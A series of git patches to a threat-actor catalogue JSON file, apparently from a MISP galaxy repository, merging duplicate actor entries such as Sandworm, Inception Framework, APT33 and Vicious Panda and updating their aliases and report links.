"https://web.archive.org/web/20141016132823/https://www.symantec.com/connect/blogs/sandworm-windows-zero-day-vulnerability-being-actively-exploited-targeted-attacks", "https://ics.sans.org/blog/2015/12/30/current-reporting-on-the-cyber-attack-in-ukraine-resulting-in-power-outage", - "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks/", - "https://attack.mitre.org/groups/G0034/", - "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" + "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks", + "https://attack.mitre.org/groups/G0034", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", + "https://dragos.com/adversaries.html", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", + "https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt", + "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine", + "https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare", + "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", + "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks" ], "synonyms": [ - "Sandworm Team", - "Black Energy", - "BlackEnergy", "Quedagh", "VOODOO BEAR", "TEMP.Noble", - "Iron Viking", - "G0034" + "IRON VIKING", + "G0034", + "ELECTRUM", + "TeleBots", + "IRIDIUM", + "Blue Echidna" ] }, "related": [ @@ -2737,50 +2744,6 @@ "uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35", "value": "Sandworm" }, - { - "description": "We will refer to the gang behind the malware as TeleBots. However it’s important to say that these attackers, and the toolset used, share a number of similarities with the BlackEnergy group, which conducted attacks against the energy industry in Ukraine in December 2015 and January 2016. In fact, we think that the BlackEnergy group has evolved into the TeleBots group. TeleBots appear to be associated with Sandworm Team, Iron Viking, Voodoo Bear.", - "meta": { - "attribution-confidence": "50", - "country": "RU", - "refs": [ - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", - "https://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/", - "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", - "https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare/", - "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine/", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks/" - ], - "synonyms": [ - "Sandworm" - ] - }, - "related": [ - { - "dest-uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "b47250ec-2094-4d06-b658-11456e05fe89", - "value": "TeleBots" - }, { "description": "Groups targeting financial organizations or people with significant financial assets.", "meta": { @@ -2870,7 +2833,6 @@ "synonyms": [ "TeamSpy", "Team Bear", - "Berserk Bear", "Anger Bear", "IRON LYRIC" ] @@ -2905,23 +2867,6 @@ "uuid": "b737c51f-b579-49d5-a907-743b2e6d03cb", "value": "BuhTrap" }, - { - "meta": { - "attribution-confidence": "50", - "country": "RU" - }, - "related": [ - { - "dest-uuid": "82c1c7fa-c67b-4be6-9be8-8aa400ef2445", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "90ef600f-5198-44a9-a2c6-de4b4d9d8624", - "value": "Berserk Bear" - }, { "description": "FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.", "meta": { @@ -4267,23 +4212,30 @@ "refs": [ "http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution", "https://www.lookingglasscyber.com/wp-content/uploads/2015/08/Operation_Armageddon_Final.pdf", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution/", - "https://attack.mitre.org/groups/G0047/", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://attack.mitre.org/groups/G0047", "https://github.com/StrangerealIntel/CyberThreatIntel/tree/master/Russia/APT/Gamaredon", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal/", + "https://www.welivesecurity.com/2020/06/18/digging-up-invisimole-hidden-arsenal", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", - "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", - "https://unit42.paloaltonetworks.com/atoms/tridentursa/" + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", + "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", + "https://go.recordedfuture.com/hubfs/reports/cta-2019-1212.pdf", + "https://unit42.paloaltonetworks.com/atoms/tridentursa" ], "synonyms": [ - "Primitive Bear", - "Shuckworm", "ACTINIUM", + "DEV-0157", + "Blue Otso", + "BlueAlpha", "G0047", - "Trident Ursa" + "IRON TILDEN", + "PRIMITIVE BEAR", + "Shuckworm", + "Trident Ursa", + "UAC-0010", + "Winterflounder" ] }, "related": [ @@ -4611,49 +4563,6 @@ "uuid": "1fc5671f-5757-43bf-8d6d-a9a93b03713a", "value": "PLATINUM" }, - { - "description": "Adversaries abusing ICS (based on Dragos Inc adversary list). Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness.", - "meta": { - "capabilities": "CRASHOVERRIDE", - "mode-of-operation": "Electric grid disruption and long-term persistence", - "refs": [ - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", - "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", - "https://dragos.com/adversaries.html" - ], - "since": "2016", - "synonyms": [ - "Sandworm" - ], - "victimology": "Ukraine, Electric Utilities" - }, - "related": [ - { - "dest-uuid": "381fcf73-60f6-4ab2-9991-6af3cbc35192", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f512de42-f76b-40d2-9923-59e7dbdfec35", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "b47250ec-2094-4d06-b658-11456e05fe89", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "feac86e4-6bb2-4ba0-ac99-806aeb0a776c", - "value": "ELECTRUM" - }, { "description": "Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.", "meta": { @@ -6102,36 +6011,6 @@ "uuid": "a0082cfa-32e2-42b8-92d8-5c7a7409dcf1", "value": "CHRYSENE" }, - { - "description": "Adversaries abusing ICS (based on Dragos Inc adversary list).\nThis threat actor targets industrial control systems in Turkey, Europe, and North America.\n Believed to be linked to Crouching Yeti", - "meta": { - "attribution-confidence": "50", - "capabilities": "GOODOR, DORSHEL, KARAGANY, Mimikatz", - "cfr-suspected-state-sponsor": "Unknown", - "cfr-suspected-victims": [ - "Turkey" - ], - "cfr-target-category": [ - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "mode-of-operation": "Deep ICS environment information gathering, operator credentials, industrial process details", - "refs": [ - "https://dragos.com/adversaries.html", - "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", - "https://www.cfr.org/interactive/cyber-operations/dymalloy" - ], - "since": "2016", - "synonyms": [ - "Dragonfly 2.0", - "Dragonfly2", - "Berserker Bear" - ], - "victimology": "Turkey, Europe, US" - }, - "uuid": "a08ab076-33c1-4350-b021-650c34277f2d", - "value": "DYMALLOY" - }, { "description": "Adversaries abusing ICS (based on Dragos Inc adversary list).", "meta": { From 490bc6a05cd83b618c28af142268d87cb0dc7af4 Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 12:10:27 +0530 Subject: [PATCH 054/167] fix duplicate --- clusters/threat-actor.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 25225c1..e665a88 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2696,8 +2696,7 @@ "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine", "https://www.welivesecurity.com/2017/05/23/xdata-ransomware-making-rounds-amid-global-wannacryptor-scare", "https://www.welivesecurity.com/2017/06/27/new-ransomware-attack-hits-ukraine", - "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back", - "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks" + "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back" ], "synonyms": [ "Quedagh", From 62b168600f22c81be11a4c90140b31bdbf836068 Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 12:15:30 +0530 Subject: [PATCH 055/167] fix duplicates --- clusters/threat-actor.json | 1 - 1 file changed, 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index e665a88..3df1d77 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -2687,7 +2687,6 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks", "https://attack.mitre.org/groups/G0034", "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag", - "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", "https://dragos.com/adversaries.html", From 370045b01db64084ab6d3cdf1c302ece4590358a Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 09:30:29 +0000 Subject: [PATCH 056/167] Merge "red october" and "cloud atlas" to inception framework" --- clusters/threat-actor.json | 118 +++++++++++++------------------------ 1 file changed, 42 insertions(+), 76 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 3df1d77..a4b63eb 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -6264,33 +6264,66 @@ "description": "This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.", "meta": { "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "Unknown", + "cfr-suspected-state-sponsor": "Russian Federation", "cfr-suspected-victims": [ - "South Africa", - "Malaysia", + "Afghanistan", + "Armenia", + "Azerbaijan", + "Belarus", + "Belgium", + "Czech Republic", + "Greece", + "India", + "Iran", + "Italy", + "Kazakhstan", "Kenya", + "Malaysia", + "Russia", + "South Africa", "Suriname", - "United Kingdom" + "Turkmenistan", + "Ukraine", + "United Kingdom", + "United States", + "Vietnam" ], "cfr-target-category": [ "Government", "Private sector" ], "cfr-type-of-incident": "Espionage", + "country": "RU", "refs": [ "https://www.cfr.org/interactive/cyber-operations/inception-framework", "https://web.archive.org/web/20160710180729/https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-inception-framework%E2%80%9D-very-sophisticated-layered-malware", "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Inception_APT_Analysis_Bluecoat.pdf", - "https://logrhythm.com/blog/catching-the-inception-framework-phishing-attack/", + "https://logrhythm.com/blog/catching-the-inception-framework-phishing-attack", "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2014/bcs_wp_InceptionReport_EN_v12914.pdf", - "https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740/", + "https://securelist.com/the-red-october-campaign/57647", + "https://securelist.com/red-october-diplomatic-cyber-attacks-investigation/36740", + "https://securelist.com/red-october-part-two-the-modules/57645", + "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083", + "https://securelist.com/an-undocumented-word-feature-abused-by-attackers/81899", + "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability", + "https://securelist.com/recent-cloud-atlas-activity/92016", "https://www.symantec.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", - "https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/", "https://www.akamai.com/uk/en/multimedia/documents/white-paper/upnproxy-blackhat-proxies-via-nat-injections-white-paper.pdf", - "https://unit42.paloaltonetworks.com/atoms/clean-ursa/" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://unit42.paloaltonetworks.com/atoms/clean-ursa", + "https://www.cfr.org/interactive/cyber-operations/cloud-atlas", + "https://www.cfr.org/cyber-operations/red-october", + "https://attack.mitre.org/groups/G0100" ], "synonyms": [ - "Clean Ursa" + "Clean Ursa", + "Cloud Atlas", + "OXYGEN", + "G0100", + "ATK116", + "Blue Odin" ] }, "uuid": "71ef51ca-a791-11e8-a026-07980ca910ca", @@ -6489,73 +6522,6 @@ "uuid": "75ae52b2-bca3-11e8-af90-a78f33eee6c1", "value": "Operation BugDrop" }, - { - "description": "This threat actor targets governments, diplomatic missions, academics, and energy and aerospace organizations for the purpose of espionage. Also known as the Rocra and believed to be the same threat actor as Cloud Atlas", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "Russian Federation", - "cfr-suspected-victims": [ - "Russia", - "Belgium", - "Armenia", - "Ukraine", - "Belarus", - "Kazakhstan", - "India", - "Iran", - "United States", - "Greece", - "Azerbaijan", - "Afghanistan", - "Turkmenistan", - "Vietnam", - "Italy" - ], - "cfr-target-category": [ - "Government", - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "country": "RU", - "refs": [ - "https://www.cfr.org/interactive/cyber-operations/red-october" - ], - "synonyms": [ - "the Rocra" - ] - }, - "uuid": "358b8982-bcaa-11e8-8a5b-4b618197c5b0", - "value": "Red October" - }, - { - "description": "This threat actor targets governments and diplomatic organizations for espionage purposes.", - "meta": { - "attribution-confidence": "50", - "cfr-suspected-state-sponsor": "Russian Federation", - "cfr-suspected-victims": [ - "Russia", - "India", - "Kazakhstan", - "Czech Republic", - "Belarus" - ], - "cfr-target-category": [ - "Government" - ], - "cfr-type-of-incident": "Espionage", - "country": "RU", - "refs": [ - "https://www.cfr.org/interactive/cyber-operations/cloud-atlas", - "https://attack.mitre.org/groups/G0100/" - ], - "synonyms": [ - "ATK116", - "G0100" - ] - }, - "uuid": "1572f618-bcb3-11e8-841b-1fd7f9cfe126", - "value": "Cloud Atlas" - }, { "description": "This threat actor compromises civil society groups the Chinese Communist Party views as hostile to its interests, such as Tibetan, Uyghur, Hong Kong, and Taiwanese activist. The threat actor also targeted the Myanmar electoral commission. ", "meta": { From 5b25b574b38102590eea5715a8619bd7b41210fb Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 16 Aug 2022 10:19:53 +0000 Subject: [PATCH 057/167] add uac-0010 references from cert-ua --- clusters/threat-actor.json | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index a4b63eb..6145b2d 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -4220,7 +4220,14 @@ "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", "https://go.recordedfuture.com/hubfs/reports/cta-2019-1212.pdf", - "https://unit42.paloaltonetworks.com/atoms/tridentursa" + "https://unit42.paloaltonetworks.com/atoms/tridentursa", + "https://cert.gov.ua/article/1229152", + "https://cert.gov.ua/article/971405", + "https://cert.gov.ua/article/40240", + "https://cert.gov.ua/article/39386", + "https://cert.gov.ua/article/39086", + "https://cert.gov.ua/article/39138", + "https://cert.gov.ua/article/18365" ], "synonyms": [ "ACTINIUM", From 9c6f106928d2dbaa695beeae7fafc09baaec6049 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 16 Aug 2022 16:47:13 -0700 Subject: [PATCH 058/167] [threat actor] Fix aliases related to Lotus Panda --- clusters/threat-actor.json | 63 +++++--------------------------------- 1 file changed, 7 insertions(+), 56 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index fd0711b..7c75955 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -805,21 +805,20 @@ "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html", "https://www.cfr.org/interactive/cyber-operations/apt-30", "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", + "https://usa.kaspersky.com/resource-center/threats/naikon-targeted-attacks", "https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/", "https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/", "https://threatconnect.com/blog/tag/naikon/", "https://attack.mitre.org/groups/G0019/", - "https://www.secureworks.com/research/threat-profiles/bronze-geneva" + "https://www.secureworks.com/research/threat-profiles/bronze-geneva", + "https://cyware.com/news/chinese-naikon-group-back-with-new-espionage-attack-66a8413d", + "https://cluster25.io/2022/04/29/lotus-panda-awake-last-strike/" ], "synonyms": [ "PLA Unit 78020", - "APT 30", - "APT30", "Override Panda", "Camerashy", - "APT.Naikon", "Lotus Panda", - "Hellsing", "BRONZE GENEVA", "G0019" ] @@ -911,50 +910,6 @@ "uuid": "32fafa69-fe3c-49db-afd4-aac2664bcf0d", "value": "Lotus Blossom" }, - { - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "http://www.crowdstrike.com/blog/rhetoric-foreshadows-cyber-activity-in-the-south-china-sea/" - ], - "synonyms": [ - "Elise" - ] - }, - "related": [ - { - "dest-uuid": "2a158b0a-7ef8-43cb-9985-bf34d1e12050", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "2f1fd017-9df6-4759-91fb-e7039609b5ff", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f26144c5-8593-4e78-831a-11f6452d809b", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "f047ee18-7985-4946-8bfb-4ed754d3a0dd", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "5e0a7cf2-6107-4d5f-9dd0-9df38b1fcba8", - "value": "Lotus Panda" - }, { "description": "We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone.\nHURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence.\nOnce inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.", "meta": { @@ -3612,7 +3567,8 @@ "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/eagle-eye-is-back-apt30/", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "https://attack.mitre.org/wiki/Group/G0013", - "https://www.cfr.org/interactive/cyber-operations/apt-30" + "https://www.cfr.org/interactive/cyber-operations/apt-30", + "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf" ], "synonyms": [ "APT30", @@ -6504,7 +6460,6 @@ "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" ], "synonyms": [ - "LOTUS PANDA", "G0076" ] }, @@ -6534,11 +6489,7 @@ "country": "PK", "refs": [ "https://www.cfr.org/interactive/cyber-operations/stealth-mango-and-tangelo", - "https://attack.mitre.org/groups/G0076" - ], - "synonyms": [ - "ATK78", - "G0076" + "https://www.lookout.com/blog/stealth-mango" ] }, "uuid": "f82b352e-a9f8-11e8-8be8-fbcf6eddd58c", From d05b29c1af47824dc2ef14e5cb4838725fef190a Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 16 Aug 2022 17:15:30 -0700 Subject: [PATCH 059/167] [threat-actors] Remove duplicate APT33 --- clusters/threat-actor.json | 62 +++++++++----------------------------- 1 file changed, 14 insertions(+), 48 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index fd0711b..28c65f7 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1947,7 +1947,19 @@ "description": "Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.", "meta": { "attribution-confidence": "50", + "capabilities": "STONEDRILL wiper, variants of TURNEDUP malware", + "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)", + "cfr-suspected-victims": [ + "United States", + "Saudi Arabia", + "South Korea" + ], + "cfr-target-category": [ + "Private sector" + ], + "cfr-type-of-incident": "Espionage", "country": "IR", + "mode-of-operation": "IT network limited, information gathering against industrial orgs", "refs": [ "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "https://blog.trendmicro.com/trendlabs-security-intelligence/more-than-a-dozen-obfuscated-apt33-botnets-used-for-extreme-narrow-targeting/", @@ -1966,7 +1978,8 @@ "COBALT TRINITY", "G0064", "ATK35" - ] + ], + "victimology": "Petrochemical, Aerospace, Saudi Arabia" }, "related": [ { @@ -6125,53 +6138,6 @@ "uuid": "a08ab076-33c1-4350-b021-650c34277f2d", "value": "DYMALLOY" }, - { - "description": "Adversaries abusing ICS (based on Dragos Inc adversary list).", - "meta": { - "attribution-confidence": "50", - "capabilities": "STONEDRILL wiper, variants of TURNEDUP malware", - "cfr-suspected-state-sponsor": "Iran (Islamic Republic of)", - "cfr-suspected-victims": [ - "United States", - "Saudi Arabia", - "South Korea" - ], - "cfr-target-category": [ - "Private sector" - ], - "cfr-type-of-incident": "Espionage", - "country": "IR", - "mode-of-operation": "IT network limited, information gathering against industrial orgs", - "refs": [ - "https://dragos.com/adversaries.html", - "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", - "https://www.cfr.org/interactive/cyber-operations/apt-33" - ], - "since": "2016", - "synonyms": [ - "APT33" - ], - "victimology": "Petrochemical, Aerospace, Saudi Arabia" - }, - "related": [ - { - "dest-uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "4f69ec6d-cb6b-42af-b8e2-920a2aa4be10", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "uuid": "accd848b-b8f4-46ba-a408-9063b35cfbf2", - "value": "MAGNALLIUM" - }, { "description": "Adversaries abusing ICS (based on Dragos Inc adversary list).", "meta": { From 352998a84d01bda26e42f18545b0bebeabd66d5e Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Wed, 17 Aug 2022 07:40:23 +0200 Subject: [PATCH 060/167] fix: [threat-actor] add missing refs for APT33 including CFR link --- clusters/threat-actor.json | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 28c65f7..fb2c999 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -1967,7 +1967,10 @@ "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", "https://attack.mitre.org/groups/G0064/", - "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/" + "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://www.cfr.org/interactive/cyber-operations/apt-33", + "https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf", + "https://dragos.com/adversaries.html" ], "synonyms": [ "APT 33", @@ -10007,5 +10010,5 @@ "value": "SLIME29" } ], - "version": 239 + "version": 240 } From 0cec882cc56f52cfb9b209a27c56b96768686fd4 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 17 Aug 2022 07:06:51 +0000 Subject: [PATCH 061/167] merge microcin/sixlittlemonkeys to vicious panda --- clusters/threat-actor.json | 28 ++++++++++------------------ 1 file changed, 10 insertions(+), 18 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index a665a51..d8d1850 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -5657,23 +5657,6 @@ "uuid": "7d78ec00-dfdc-4a80-a4da-63f1ae63bd7f", "value": "MoneyTaker" }, - { - "description": "We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.", - "meta": { - "refs": [ - "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636/", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/" - ], - "synonyms": [ - "SixLittleMonkeys" - ] - }, - "uuid": "0a6b31cd-54cd-4f82-9b87-aab780604632", - "value": "Microcin" - }, { "description": "Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.", "meta": { @@ -9768,11 +9751,20 @@ "country": "CN", "refs": [ "https://securelist.com/microcin-is-here/97353", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf" + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07170759/Microcin_Technical_4PDF_eng_final_s.pdf", + "https://securelist.com/a-simple-example-of-a-complex-cyberattack/82636", + "https://securelist.com/apt-trends-report-q2-2019/91897", + "https://securelist.com/apt-trends-report-q2-2020/97937", + "https://securelist.com/it-threat-evolution-q2-2020/98230", + "https://securelist.com/apt-trends-report-q3-2021/104708" + ], + "synonyms": [ + "SixLittleMonkeys" ] }, "uuid": 